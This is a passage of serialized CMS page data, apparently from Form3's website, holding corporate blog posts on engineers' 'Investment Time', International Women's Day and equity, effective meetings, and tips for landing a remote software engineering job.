(Staff Engineer at Form3) also shares his thoughts: “having “Investment Time” means you aren’t expected to conduct extracurricular activities or side projects outside of working hours, which can be challenging when caring for a family”. This is a concept that goes against our values at Form3 as a truly flexible-working employer.",[44212],{"start":9237,"end":22376,"type":765},{"type":25,"text":44214,"spans":44215},"However, empowering Engineers to work on their own ideas is not a new concept. In fact, it dates all the way back to 1974, when 3M scientist Arthur Fry came up with a clever invention. He thought that, if he could apply an adhesive to the back of a piece of paper, he could create the perfect bookmark to be kept within a hymn book. This invention is what we know today as the ‘post-it note. The iconic product was born via Art’s “15% Culture” (a programme enabling 3M employees to use paid time to chase rainbows and hatch their own ideas). 3M, Hewlett-Packard and Google have all claimed that many of their best-selling products and innovations have happened during these creative\u002Ffree-thinking periods.",[44216],{"start":44217,"end":40242,"type":489,"data":44218},431,{"link_type":491,"url":44219},"https:\u002F\u002Fwww.3m.co.uk\u002F3M\u002Fen_GB\u002Fcareers\u002Fculture\u002F15-percent-culture\u002F",{"type":25,"text":44221,"spans":44222},"Now, we know we aren’t “Investment Time\" pioneers at Form3, as we’ve just seen it’s a practice adapted by other companies across the globe in very different guises. But what we are proud to shout about is what we’ve achieved during Investment Time, the empowerment our Engineers have, and how we are aiming to expand the scope of its impact to across our business, including other teams. Here is a snippet of some of our proudest “Investment Time” achievements:",[],{"type":3373,"text":44224,"spans":44225},"A prime example is Artur Kondas (Lead Engineer at Form3), who selflessly runs weekly coding clubs for Form3 employees who occupy a non-engineering position, to ask questions about coding and start coding themselves without any prior experience, and to equip them with not only the core fundamentals of coding, but also enriching their logic and problem-solving abilities! By understanding coding this is specifically impactful for employees occupying non-engineering R&D positions e.g., Business Analysts and Product Managers as they gain a more in-depth understanding of how Engineers approach logic and solutioning to the problems faced. In addition, Business Analysts can also consider the tickets they create to ensure they meet the needs and requirements of Engineers having this understanding in mind.",[],{"type":3373,"text":44227,"spans":44228},"Building a tool to detect conflicts between PagerDuty (our Form3 on-call tool for Engineers) and SageHR (our HR system at Form3) to determine employees’ holidays for scheduling on-call rotas. This ensures there is continuous support in place to monitor and support the platform whilst also ensuring this doesn't impact well-deserved downtime of our Engineers'.",[],{"type":3373,"text":44230,"spans":44231},"Currently work in progress, the team have been developing Tilt extensions which are powerful modules and plugins that expand the functionality of Tilt even further. With Tilt, Engineers can iterate rapidly and observe immediate feedback on their modifications, enhancing their overall development experience. The aim is to provide a streamlined process that enables teams to effortlessly set up and configure their Kubernetes clusters, eliminating the need for laborious manual configurations. Utilising Tilt extensions, teams can rely on pre-built functionalities and configurations that have been thoroughly tested and optimised. This approach promotes efficiency and consistency, allowing Engineers to focus on the core aspects of their projects without being burdened by unnecessary code duplication or potential pitfalls. By simplifying cluster setup, reducing boilerplate code, and fostering greater understanding and control, the aim to enhance the productivity and efficiency of Form3’s entire development ecosystem.",[],"rich_text$f4eb25a2-9e49-4211-a856-55765e8b25b3",{"variation":437,"version":438,"items":44234,"primary":44235,"id":44243,"slice_type":468,"slice_label":5},[],{"body":44236},[44237,44240],{"type":25,"text":44238,"spans":44239},"As we’ve seen, results of “Investment Time” are tangible throughout Form3, and it's invaluable for Engineers to learn and innovate whilst enhancing their own development as well as improving business efficiencies.",[],{"type":25,"text":44241,"spans":44242},"In summary \"Investment Time\" is a core benefit of our Engineering culture at Form3, and an initiative that we will continue in years to come!",[],"rich_text$8117cd7e-4af5-4736-845c-592d20949e00","Every Wednesday afternoon, our Engineers (including the IT team) take part in \"Investment Time\", a practice which has been in place at Form3 for over the last 12 months.",{"id":44246,"uid":44247,"type":42493,"data":44248},"alz1iREAAC0AUWo0","international-womens-day-2023",{"title":44249,"excerpt":44250,"card_image":44251,"published_date":4057,"reading_time":418,"tag":42499,"dek":44257,"featured_image":44258,"about_form3":44263,"client_about_heading":5,"client_about_body":44264,"author_name":43053,"author_title":43054,"author_photo":44265,"author_bio":44268,"author_linkedin":44271,"slices":44273,"meta_title":44249,"meta_description":44250},"International Women’s Day","Women’s History Month is celebrated across the month of March, with International Women’s Day falling on the 8th of March.The theme chosen for International Women’s Day this year is one that both celebrates women and draws attention to issues that are impacting women across the world. For 2023, that theme is “Embrace Equity”.",{"dimensions":44252,"alt":44253,"copyright":5,"url":44254,"id":44255,"edit":44256},{"width":412,"height":412},"International Women’s Day ","\u002F_prismic-media\u002F25d3cdd0b18dd7d5-URDapfOcQpf7w25g_international-womens-day-2023.p","URDapfOcQpf7w25g",{"x":398,"y":398,"zoom":399,"background":400},"Women’s History Month is celebrated across the month of March, with International Women’s Day falling on the 8th of March. The theme chosen for International Women’s Day this year is one that both celebrates women and draws attention to issues that are impacting women across the world. For 2023, that theme is “Embrace Equity”.",{"dimensions":44259,"alt":5,"copyright":5,"url":44260,"id":44261,"edit":44262},{"width":501,"height":6562},"\u002F_prismic-media\u002F73d663ad6b1e595e-MNF5HgDgzL3RVkjq_dd895cf2-7aa3-4c54-9c85-55a8d7d.png","MNF5HgDgzL3RVkjq",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":44266,"alt":43053,"copyright":5,"url":43057,"id":43058,"edit":44267},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[44269],{"type":25,"text":43062,"spans":44270},[],{"link_type":491,"key":44272,"url":43066,"target":493},"7e5a3ad0-c9d5-4ee6-aa24-06da77f7192f",[44274,44291,44308],{"variation":437,"version":438,"items":44275,"primary":44276,"id":44290,"slice_type":468,"slice_label":5},[],{"body":44277},[44278,44281,44284,44287],{"type":988,"text":44279,"spans":44280,"direction":445},"Equity vs equality",[],{"type":25,"text":44282,"spans":44283,"direction":445},"Many of us use the words equity and equality interchangeably, but the meaning of the words actually differs. As a reader, the word equality is one you’re probably more familiar with and what most people view as ensuring everybody has an equal opportunity and is not treated differently or discriminated against because of their characteristics.",[],{"type":25,"text":44285,"spans":44286,"direction":445},"Equity on the other hand is defined as “fair treatment, access and advancement for everyone.” More specifically, it refers to fairness and justice. While residing in the same space as equality, equity differs in some subtle ways. Equity takes into consideration the context and unique circumstances of each individual and demands that treatment and access be adjusted accordingly. ",[],{"type":25,"text":44288,"spans":44289,"direction":445},"Activist DeRay McKesson describes the distinction perfectly: “The difference between equity and equality is that equality is when everyone gets the same thing, and equity is when everyone gets the things they deserve.”",[],"rich_text$46713340-c75b-4f45-ba89-5259b7d8cc80",{"variation":437,"version":438,"items":44292,"primary":44293,"id":44307,"slice_type":468,"slice_label":5},[],{"body":44294},[44295,44298,44301,44304],{"type":988,"text":44296,"spans":44297,"direction":445},"Why isn’t equality enough?",[],{"type":25,"text":44299,"spans":44300,"direction":445},"So why isn’t equality enough? Equality has historically been a very important aspect of working life and has been the basis for various movements and pieces of legislation including gender pay gap reporting and the Equality Act of 2010 in the UK. But the problem with only considering equality is that not everyone has the same starting point. ",[],{"type":25,"text":44302,"spans":44303,"direction":445},"Equity, on the other handrecognises that not everyone is starting at the same level. There are great disparities between what different parts of the population and the workforce have access to. ",[],{"type":25,"text":44305,"spans":44306,"direction":445},"And so, this year’s International Women’s Day theme is looking to tackle equity-based solutions rather than those that are equality-based.",[],"rich_text$05697e97-4e24-4a85-91dc-62ff103d6f39",{"variation":437,"version":438,"items":44309,"primary":44310,"id":44361,"slice_type":468,"slice_label":5},[],{"body":44311},[44312,44315,44318,44322,44325,44329,44332,44336,44339,44343,44347,44351,44354,44358],{"type":988,"text":44313,"spans":44314,"direction":445},"What does that mean in the workplace?",[],{"type":25,"text":44316,"spans":44317,"direction":445},"Well, for us at Form3, it means learning and understanding best practice from organisations who are passionate about doing better and being better!  \n \nIn the spirit of sharing knowledge, here are some ways to get started: ",[],{"type":474,"text":44319,"spans":44320,"direction":445},"Evaluate your company:",[44321],{"start":398,"end":7635,"type":593},{"type":25,"text":44323,"spans":44324,"direction":445},"You don’t know where to go unless you know where you’re starting. A comprehensive audit of your policies, practices and processes is a great place to start. Look at things like hiring policies, pay equity, time off policies, and flexible working. You may also want to survey your team to get their thoughts directly (anonymously of course) or even launch working groups.  \n",[],{"type":474,"text":44326,"spans":44327,"direction":445},"Set OKRs around ESG and share progress:",[44328],{"start":398,"end":4219,"type":593},{"type":25,"text":44330,"spans":44331,"direction":445},"Identify your limitations, then build an action plan to address them.  Accountability is an important element, so keep your team up to date on the goals you’ve set and how close you are to achieving them, this will keep you on track. We don’t want ESG to sit behind the scenes at Form3 so we have dedicated ESG OKRs and KPIs at the company level. We also publish our ESG report annually. This really helps us to be accountable, it informs our team of what we’re doing well and where we have room for improvements.  \n",[],{"type":474,"text":44333,"spans":44334,"direction":445},"Measuring and publishing your gender pay gap early: ",[44335],{"start":398,"end":1251,"type":593},{"type":25,"text":44337,"spans":44338,"direction":445},"We recommend calculating and understanding your gender pay gap data as soon as possible, certainly before you are legally required to do so. To embrace our value of transparency, we calculated and published our gender pay gap data to show how pay differs from men and women at Form3. We were delighted to see no gap on a role-by-role basis, but we have identified a 23% gender pay gap across the business. Equipped with this data, we’ve implemented measures to reduce the gap and have set ourselves KPIs ensuring we meet this. \n",[],{"type":474,"text":44340,"spans":44341,"direction":445},"Create a network: ",[44342],{"start":398,"end":2769,"type":593},{"type":25,"text":44344,"spans":44345,"direction":445},"Creating networks within the workplace help individuals to feel connected with their peers. In 2022, we launched our first ‘Women Who Form3’ community, the aim of the group is to build a community of individuals who identify as women across Form3 to develop professional knowledge, grow valuable peer connections, and share career advice, leading to meaningful change in the industry.  \n",[44346],{"start":1408,"end":12970,"type":593},{"type":474,"text":44348,"spans":44349,"direction":445},"Address gaps in knowledge: ",[44350],{"start":398,"end":1066,"type":593},{"type":25,"text":44352,"spans":44353,"direction":445},"We believe in the importance of creating and sharing training materials on diversity, equity, inclusion & belonging as it helps to increase awareness of the challenges facing others. Our latest in-house unconscious bias training explains the different types of bias, how it can impact us at Form3 and what can be done to unlearn these behaviours. We have also recently enjoyed sharing book recommendations on DEI&B (Diversity, Equity, Inclusion and Belonging) related topics that can be found on our book subscription provider, Perlego. This helps to engage team members through the media they already use daily. \n",[],{"type":474,"text":44355,"spans":44356,"direction":445},"Ensure inclusivity is at the centre of what you do: ",[44357],{"start":398,"end":1250,"type":593},{"type":25,"text":44359,"spans":44360,"direction":445},"People with health conditions and disabilities are often left out of conversations around equity and inclusion, but they represent a considerable percentage of the workforce. Going above and beyond the legal requirements and supporting your employees who may be disabled, neurodivergent or chronically ill means that people who identify as such don’t miss out on the opportunity to be part of your team. Things to consider here would be setting up a working group of colleagues passionate about making change in this area and working with external organisations to offer opportunities within your business to those with disabilities. We are making some exciting steps in this space which we’ll be delighted to share with you soon. ",[],"rich_text$36180508-0572-4540-9377-d3df70ca12ac",{"id":44363,"uid":13384,"type":42493,"data":44364},"alz1pxEAACsAUWrO",{"title":13386,"excerpt":44365,"card_image":44366,"published_date":13394,"reading_time":4603,"tag":42560,"dek":44371,"featured_image":44372,"about_form3":44375,"client_about_heading":5,"client_about_body":44376,"author_name":5,"author_title":5,"author_photo":44377,"author_bio":44378,"author_linkedin":44379,"slices":44380,"meta_title":13386,"meta_description":44365},"The universally known phrase, ‘this meeting could’ve been an email’, summarises our collective experience well. Too many meetings, that are too long and without any purpose to them. However, at Form3 we have taken steps to ensure that every meeting is an effective one.",{"dimensions":44367,"alt":13390,"copyright":5,"url":44368,"id":44369,"edit":44370},{"width":412,"height":412},"\u002F_prismic-media\u002Fbbf5085d36115da7-EOUNEeZyVIT9KKfD_how-form3-holds-effective-meeti.png","EOUNEeZyVIT9KKfD",{"x":398,"y":398,"zoom":399,"background":400},"Everything changes. This is especially true in business and technology. Form3 operates in a dynamic environment, one where we consistently pivot and adapt to remain ahead of the curve.  That being said, there are aspects of our working lives that haven’t adapted to the times quite as well. Meetings are a perfect example of this. They can be an incredibly effective tool to get teams to collaborate and advance organisational objectives. Which begs the question, why are they so often disliked? The universally known phrase, ‘this meeting could’ve been an email’, summarises our collective experience well. Too many meetings, that are too long and without any purpose to them. However, at Form3 we have taken steps to ensure that every meeting is an effective one. Read on to learn how we achieved this.",{"dimensions":44373,"alt":13390,"copyright":5,"url":13398,"id":13399,"edit":44374},{"width":501,"height":502},{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[44381,44390,44411,44420,44429,44440],{"variation":437,"version":438,"items":44382,"primary":44383,"id":44389,"slice_type":468,"slice_label":5},[],{"body":44384},[44385,44387],{"type":988,"text":13412,"spans":44386,"direction":445},[],{"type":25,"text":13415,"spans":44388,"direction":445},[],"rich_text$f5c1c111-0197-4685-bdd8-35f0933327e4",{"variation":437,"version":438,"items":44391,"primary":44392,"id":44410,"slice_type":468,"slice_label":5},[],{"body":44393},[44394,44396,44398,44400,44402,44404,44406,44408],{"type":988,"text":13423,"spans":44395,"direction":445},[],{"type":25,"text":13426,"spans":44397,"direction":445},[],{"type":25,"text":13429,"spans":44399,"direction":445},[],{"type":1151,"text":13432,"spans":44401,"direction":445},[],{"type":1151,"text":13435,"spans":44403,"direction":445},[],{"type":1151,"text":13438,"spans":44405,"direction":445},[],{"type":1151,"text":13441,"spans":44407,"direction":445},[],{"type":1151,"text":13444,"spans":44409,"direction":445},[],"rich_text$59fc73e3-2ce9-4ed1-ae8a-9498c06b298a",{"variation":437,"version":438,"items":44412,"primary":44413,"id":44419,"slice_type":468,"slice_label":5},[],{"body":44414},[44415,44417],{"type":988,"text":13452,"spans":44416,"direction":445},[],{"type":25,"text":13455,"spans":44418,"direction":445},[],"rich_text$2ec91bb9-14ee-492e-b2eb-fcae54e0fe7f",{"variation":437,"version":438,"items":44421,"primary":44422,"id":44428,"slice_type":468,"slice_label":5},[],{"body":44423},[44424,44426],{"type":988,"text":13463,"spans":44425,"direction":445},[],{"type":25,"text":13466,"spans":44427,"direction":445},[],"rich_text$a5652fc1-6782-43a7-872d-6443e8acd420",{"variation":437,"version":438,"items":44430,"primary":44431,"id":44439,"slice_type":468,"slice_label":5},[],{"body":44432},[44433,44435,44437],{"type":988,"text":13474,"spans":44434,"direction":445},[],{"type":25,"text":13477,"spans":44436,"direction":445},[],{"type":25,"text":13480,"spans":44438,"direction":445},[],"rich_text$8d5831ba-bbdc-43b4-ae2e-c7cf20b5a431",{"variation":437,"version":438,"items":44441,"primary":44442,"id":44449,"slice_type":468,"slice_label":5},[],{"body":44443},[44444,44446],{"type":988,"text":13488,"spans":44445,"direction":445},[],{"type":25,"text":13491,"spans":44447,"direction":445},[44448],{"start":13494,"end":4141,"type":765},"rich_text$c498cfc0-c0fd-45f9-a5d3-4843fb7b07df",{"id":44451,"uid":44452,"type":42493,"data":44453},"alz1lhEAACkAUWp4","dream-remote-software-engineer-job",{"title":44454,"excerpt":44455,"card_image":44456,"published_date":44461,"reading_time":643,"tag":42560,"dek":44455,"featured_image":44462,"about_form3":44463,"client_about_heading":5,"client_about_body":44464,"author_name":43482,"author_title":43483,"author_photo":44465,"author_bio":44468,"author_linkedin":44469,"slices":44471,"meta_title":44454,"meta_description":44837},"How to Land Your Dream Remote Software Engineer Job","5 tips from Form3’s Talent Lead – Engineering Alexandra Forsberg",{"dimensions":44457,"alt":44454,"copyright":5,"url":44458,"id":44459,"edit":44460},{"width":412,"height":412},"\u002F_prismic-media\u002Fc8ac795fe45292ce-0tITLIStbm4IzLLs_dream-remote-software-engineer-.png","0tITLIStbm4IzLLs",{"x":398,"y":398,"zoom":399,"background":400},"2023-01-20",{},[],[],{"dimensions":44466,"alt":43482,"copyright":5,"url":43486,"id":43487,"edit":44467},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":400},[],{"link_type":491,"key":44470,"url":42091,"target":493},"98aab334-9fe1-45b1-b91a-8f9fa740b6e2",[44472,44486,44546,44603,44695,44771,44818,44829],{"variation":437,"version":438,"items":44473,"primary":44474,"id":44485,"slice_type":468,"slice_label":5},[],{"body":44475},[44476,44479,44482],{"type":25,"text":44477,"spans":44478},"Who knows what the job market in 2023 will bring? What I do know is, software engineers remain in high demand, how we find new opportunities is evolving and the demand for remote jobs continue to outstrip supply.  ",[],{"type":25,"text":44480,"spans":44481},"To that end, whether it’s your first or 100th remote interview, make sure you have done everything in your power to stand out in a noisy job market!  ",[],{"type":25,"text":44483,"spans":44484},"So, without further ado, here are my five top tips to help you land that dream remote software engineering job in 2023; ",[],"rich_text$575dc4bb-24c8-42d3-be4a-31bbf6a322a6",{"variation":437,"version":438,"items":44487,"primary":44488,"id":44545,"slice_type":468,"slice_label":5},[],{"body":44489},[44490,44493,44496,44499,44502,44505,44510,44515,44521,44524,44527,44530,44536,44542],{"type":988,"text":44491,"spans":44492,"direction":445},"✅ Build a strong personal brand",[],{"type":25,"text":44494,"spans":44495,"direction":445},"Yes, even software engineers need a personal brand! Sure, it’s self-promotional and (dare I say it) on the cringy side. But done well, it can open amazing opportunities.  ",[],{"type":25,"text":44497,"spans":44498,"direction":445},"Here are some ideas to get you started;  ",[],{"type":3373,"text":44500,"spans":44501,"direction":445},"Build a slick LinkedIn profile (more on that below)  ",[],{"type":3373,"text":44503,"spans":44504,"direction":445},"Create a personal website to showcase your experience  ",[],{"type":3373,"text":44506,"spans":44507,"direction":445},"Start and\u002For guest star on a tech podcast (e.g. Form3’s .tech podcast series)  ",[44508],{"start":4889,"end":3397,"type":489,"data":44509},{"link_type":491,"url":36672,"target":493},{"type":3373,"text":44511,"spans":44512,"direction":445},"Speak at tech events (e.g. GopherCon)  ",[44513],{"start":3485,"end":3852,"type":489,"data":44514},{"link_type":491,"url":36669,"target":493},{"type":3373,"text":44516,"spans":44517,"direction":445},"Attend tech meetups (e.g. Women Who Go) ",[44518],{"start":5574,"end":11705,"type":489,"data":44519},{"link_type":491,"url":44520,"target":493},"https:\u002F\u002Fwww.meetup.com\u002Fen-AU\u002Fwomen-who-go-london\u002F",{"type":3373,"text":44522,"spans":44523,"direction":445},"Create content on LinkedIn, Twitter, Instagram, Slack or tech specific platforms (engage and give back to the community) ",[],{"type":3373,"text":44525,"spans":44526,"direction":445},"Contribute to the open-source community  ",[],{"type":3373,"text":44528,"spans":44529,"direction":445},"Write a book  ",[],{"type":3373,"text":44531,"spans":44532,"direction":445},"Create an online course (e.g. Terraform for beginners)  ",[44533],{"start":3041,"end":9312,"type":489,"data":44534},{"link_type":491,"url":44535,"target":493},"https:\u002F\u002Fleanpub.com\u002Fterraform-from-beginner-to-master",{"type":3373,"text":44537,"spans":44538,"direction":445},"Blog (e.g. https:\u002F\u002Fadelinasimion.dev\u002F) ",[44539],{"start":602,"end":11705,"type":489,"data":44540},{"link_type":491,"url":44541,"target":493},"https:\u002F\u002Fadelinasimion.dev\u002F)",{"type":25,"text":44543,"spans":44544,"direction":445},"Hey, a little self-promotion won’t hurt 😜 I promise. ",[],"rich_text$df9f2b8f-4822-4df8-bff8-a4eb23484030",{"variation":437,"version":438,"items":44547,"primary":44548,"id":44602,"slice_type":468,"slice_label":5},[],{"body":44549},[44550,44553,44556,44559,44563,44570,44574,44578,44582,44586,44590,44594,44598],{"type":988,"text":44551,"spans":44552,"direction":445},"✅ Optimise your LinkedIn profile",[],{"type":25,"text":44554,"spans":44555,"direction":445},"95% of hiring teams use LinkedIn. Whether you’re a fan or not, having a tip-top LinkedIn profile will pay dividends. So, fill out ALL fields and start attracting those dream remote opportunities.  ",[],{"type":25,"text":44557,"spans":44558,"direction":445},"Here is how you can build a strong LinkedIn presence; ",[],{"type":3373,"text":44560,"spans":44561,"direction":445},"Profile picture. Aim for a great one (first impressions and all that!). ",[44562],{"start":398,"end":6911,"type":593},{"type":3373,"text":44564,"spans":44565,"direction":445},"Banner image. Choose one that feels like you! unsplash.com has got you covered. ",[44566,44567],{"start":398,"end":1951,"type":593},{"start":9202,"end":9203,"type":489,"data":44568},{"link_type":491,"url":44569,"target":493},"https:\u002F\u002Funsplash.com\u002Fs\u002Fphotos\u002Flinkedin-banner",{"type":3373,"text":44571,"spans":44572,"direction":445},"Location, education and industry. Easy ones.  ",[44573],{"start":398,"end":1131,"type":593},{"type":3373,"text":44575,"spans":44576,"direction":445},"Bio. The “sticky” page. Tell the world who you are, what you do and what motivates you. Get your personality across here. Include systems, technologies and languages worked and would want to work with. Be generous with spacing, write in person and use your own voice. Include a call-to-action e.g. “email me on”. ",[44577],{"start":398,"end":643,"type":593},{"type":3373,"text":44579,"spans":44580,"direction":445},"Experience. A brief description of your current role (technologies, size and scale of system(s), environment, key achievements) and at least two of your previous positions. ",[44581],{"start":398,"end":2707,"type":593},{"type":3373,"text":44583,"spans":44584,"direction":445},"Keywords. Ahh, the crème de la crème! This is how hiring teams source talent. Pack out your profile with as many keywords (i.e. tools & technologies) as possible. In the summary, experience, skills – go to town! ",[44585],{"start":398,"end":905,"type":593},{"type":3373,"text":44587,"spans":44588,"direction":445},"Skills. Yesss! Great way to float up a recruiter search. You can have up to 50 (the more the merrier in my opinion). Get your friends to endorse you! ",[44589],{"start":398,"end":1633,"type":593},{"type":3373,"text":44591,"spans":44592,"direction":445},"Recommendations. This is a great tool to build credibility. Ask colleagues, ex-colleagues, friends and bosses! No shame here. ",[44593],{"start":398,"end":6911,"type":593},{"type":3373,"text":44595,"spans":44596,"direction":445},"Open to Work. Yep, us talent people love working with those actively looking for new opportunities Alternatively, select “Open to remote work” in the location field. ",[44597],{"start":398,"end":2707,"type":593},{"type":3373,"text":44599,"spans":44600,"direction":445},"Keep it up to date! ",[44601],{"start":398,"end":6262,"type":593},"rich_text$c8aac14a-318c-4efc-b937-610bbadc3e6d",{"variation":437,"version":438,"items":44604,"primary":44605,"id":44694,"slice_type":468,"slice_label":5},[],{"body":44606},[44607,44610,44613,44618,44623,44628,44633,44639,44645,44651,44657,44663,44669,44675,44681,44687],{"type":988,"text":44608,"spans":44609,"direction":445},"✅ Get familiar with remote job boards",[],{"type":25,"text":44611,"spans":44612,"direction":445},"These job boards are great places to start your search for remote engineering jobs: ",[],{"type":3373,"text":44614,"spans":44615,"direction":445},"WeWorkRemotely  ",[44616],{"start":398,"end":2987,"type":489,"data":44617},{"link_type":491,"url":42136,"target":493},{"type":3373,"text":44619,"spans":44620,"direction":445},"Wellfound (formerly AngelList) ",[44621],{"start":398,"end":1355,"type":489,"data":44622},{"link_type":491,"url":42142,"target":493},{"type":3373,"text":44624,"spans":44625,"direction":445},"Remotive  ",[44626],{"start":398,"end":1633,"type":489,"data":44627},{"link_type":491,"url":42148,"target":493},{"type":3373,"text":44629,"spans":44630,"direction":445},"Otta ",[44631],{"start":398,"end":4603,"type":489,"data":44632},{"link_type":491,"url":42154,"target":493},{"type":3373,"text":44634,"spans":44635,"direction":445},"LinkedIn Jobs (toggle remote) ",[44636],{"start":398,"end":1951,"type":489,"data":44637},{"link_type":491,"url":44638,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fjobs\u002F",{"type":3373,"text":44640,"spans":44641,"direction":445},"Remoteok ",[44642],{"start":398,"end":1633,"type":489,"data":44643},{"link_type":491,"url":44644,"target":493},"https:\u002F\u002Fremoteok.com\u002F",{"type":3373,"text":44646,"spans":44647,"direction":445},"Breakoutlist  ",[44648],{"start":398,"end":2707,"type":489,"data":44649},{"link_type":491,"url":44650,"target":493},"https:\u002F\u002Fwww.breakoutlist.com\u002F",{"type":3373,"text":44652,"spans":44653,"direction":445},"Remote Rocketship ",[44654],{"start":398,"end":6911,"type":489,"data":44655},{"link_type":491,"url":44656,"target":493},"https:\u002F\u002Fwww.remoterocketship.com\u002F?page=1&sort=DateAdded",{"type":3373,"text":44658,"spans":44659,"direction":445},"Keyvalues  ",[44660],{"start":398,"end":1355,"type":489,"data":44661},{"link_type":491,"url":44662,"target":493},"https:\u002F\u002Fwww.keyvalues.com\u002F",{"type":3373,"text":44664,"spans":44665,"direction":445},"Nodesk  ",[44666],{"start":398,"end":2375,"type":489,"data":44667},{"link_type":491,"url":44668,"target":493},"https:\u002F\u002Fnodesk.co\u002F",{"type":3373,"text":44670,"spans":44671,"direction":445},"Remote4me  ",[44672],{"start":398,"end":1355,"type":489,"data":44673},{"link_type":491,"url":44674,"target":493},"https:\u002F\u002Fremote4me.com\u002F",{"type":3373,"text":44676,"spans":44677,"direction":445},"Glassdoor (toggle “wfh” or “remote”) ",[44678],{"start":398,"end":1355,"type":489,"data":44679},{"link_type":491,"url":44680,"target":493},"https:\u002F\u002Fwww.glassdoor.com\u002Findex.htm",{"type":3373,"text":44682,"spans":44683,"direction":445},"Gophers (Slack community for Go enthusiasts)  ",[44684],{"start":398,"end":1130,"type":489,"data":44685},{"link_type":491,"url":44686,"target":493},"https:\u002F\u002Fgophers.slack.com\u002F",{"type":25,"text":44688,"spans":44689,"direction":445},"💡 Why not also Google “top remote companies” to get a good idea of who’s hiring for remote jobs. Follow, like and engage with your favourite ones! Finally, use remote work hashtags such as #remote #remotework #goremote #workfromhome #hiringnow #hiring #remoteculture #remoteworker #remotefirst #wfh #remotejobs #homeoffice. They work well on all platforms from LinkedIn to Twitter. ",[44690,44691,44692,44693],{"start":4023,"end":9211,"type":765},{"start":24936,"end":15352,"type":765},{"start":7016,"end":3304,"type":593},{"start":10781,"end":3191,"type":593},"rich_text$4d22cc79-0be5-4ae1-8c9e-4acfabec4223",{"variation":437,"version":438,"items":44696,"primary":44697,"id":44770,"slice_type":468,"slice_label":5},[],{"body":44698},[44699,44702,44705,44708,44712,44716,44721,44726,44730,44734,44738,44742,44746,44750,44754,44758,44762,44766],{"type":988,"text":44700,"spans":44701,"direction":445},"✅ Prepare for remote interviews!",[],{"type":25,"text":44703,"spans":44704,"direction":445},"Just as you would for onsite interviews. Remember, you only get one chance at making a great first impression.  ",[],{"type":25,"text":44706,"spans":44707,"direction":445},"Here is how to increase your chances of smashing those remote interviews; ",[],{"type":3373,"text":44709,"spans":44710,"direction":445},"Notifications, off! TV, radio, phone, laptop - all the above. I mean it.  ",[44711],{"start":398,"end":7460,"type":593},{"type":3373,"text":44713,"spans":44714,"direction":445},"Distraction-free background. Consider what's displayed behind and around you. The more neutral and clutter free the better.  ",[44715],{"start":398,"end":871,"type":593},{"type":3373,"text":44717,"spans":44718,"direction":445},"Reliable WiFi. Test it ahead of the interview.  ",[44719,44720],{"start":398,"end":2987,"type":593},{"start":4023,"end":9704,"type":765},{"type":3373,"text":44722,"spans":44723,"direction":445},"Camera. Set at eye level. Camera ON. Check the lighting (you don’t want to sit in the dark or have the sun behind you). I also recommend getting a good webcam. ",[44724,44725],{"start":398,"end":1130,"type":593},{"start":9077,"end":628,"type":593},{"type":3373,"text":44727,"spans":44728,"direction":445},"Headphones\u002FMicrophone. For a better video experience, invest in good pair of headphones with a built-in mic.  ",[44729],{"start":398,"end":4023,"type":593},{"type":3373,"text":44731,"spans":44732,"direction":445},"Check the interview invite. Is it clear where, when and with whom the interview is? Ask the hiring team if you're unsure. ",[44733],{"start":398,"end":3485,"type":593},{"type":3373,"text":44735,"spans":44736,"direction":445},"Test the video link. Before (!) the interview. You don't want to click on the video link a minute before the interview and realise it doesn’t work on your laptop. ",[44737],{"start":398,"end":7460,"type":593},{"type":3373,"text":44739,"spans":44740,"direction":445},"Research the company. And I don’t just mean the “about us” page. The careers, investors, press and LinkedIn pages, the whole lot. Your interviewer – look them up on LinkedIn! Understand what technologies you’ll be working with. Be confident in explaining why you want to work there (and don’t just say because of the remote work setup).  ",[44741],{"start":398,"end":7635,"type":593},{"type":3373,"text":44743,"spans":44744,"direction":445},"Create a cheat sheet. With questions you want to ask (interviews are a two-way street), points you want to get across and notes. ",[44745],{"start":398,"end":703,"type":593},{"type":3373,"text":44747,"spans":44748,"direction":445},"Highlight your remote working skills. Tools aside, how do you work and collaborate remotely? Do you have experience with async communication? How do you maintain an excellent work\u002Flife balance? Finally, focus on results and output. ",[44749],{"start":398,"end":11705,"type":593},{"type":3373,"text":44751,"spans":44752,"direction":445},"Remote work questions to ask. You want to clarify whether the role is fully remote or hybrid as some job ads don't specify. You may also want to understand how the culture is maintained in a remote environment? What time zone you're going to work in? Do teams meet up in person? What remote perks are available? ",[44753],{"start":398,"end":3041,"type":593},{"type":3373,"text":44755,"spans":44756,"direction":445},"Practice, practice, practice! With yourself and\u002For a friend. It’s for sure worth practicing, especially for behavioural questions. Record and watch it back!  ",[44757],{"start":398,"end":3041,"type":593},{"type":3373,"text":44759,"spans":44760,"direction":445},"Show up early. 2-3 minutes early is fine. ",[44761],{"start":398,"end":8472,"type":593},{"type":3373,"text":44763,"spans":44764,"direction":445},"Relax. You’ve got this 💪 Don’t be afraid to show your personality.  ",[44765],{"start":398,"end":2375,"type":593},{"type":3373,"text":44767,"spans":44768,"direction":445},"Follow up!  ",[44769],{"start":398,"end":602,"type":593},"rich_text$eac751de-b742-4544-8832-9a9c11c2157e",{"variation":437,"version":438,"items":44772,"primary":44773,"id":44817,"slice_type":468,"slice_label":5},[],{"body":44774},[44775,44778,44781,44784,44788,44792,44797,44801,44805,44809,44813],{"type":988,"text":44776,"spans":44777,"direction":445},"✅ Pace your interviews strategically",[],{"type":25,"text":44779,"spans":44780,"direction":445},"For some, looking for a new job opportunity can be an exciting and rejuvenating journey. For others, it can be a daunting and stressful one. Also, your interview skills might be rusty, you may have multiple interviews on the-go, or both.  ",[],{"type":25,"text":44782,"spans":44783,"direction":445},"To track your interview progress whilst avoiding burnout, may I suggest you; ",[],{"type":3373,"text":44785,"spans":44786,"direction":445},"Get a Calendly account. It will make scheduling interviews super easy. ",[44787],{"start":398,"end":4023,"type":593},{"type":3373,"text":44789,"spans":44790,"direction":445},"Create a spreadsheet for tracking your applications and interviews. You can include as much details as you like! Company, size, locations, fully remote \u002F remote-first \u002F hybrid, funding, roadmap, salary, perks, time zone of role, no. of interviews, interview stage, offers etc. Trello is also a good tool for this! ",[44791],{"start":398,"end":2397,"type":593},{"type":3373,"text":44793,"spans":44794,"direction":445},"Interview with your least preferred companies first. This is especially important if you've been out of 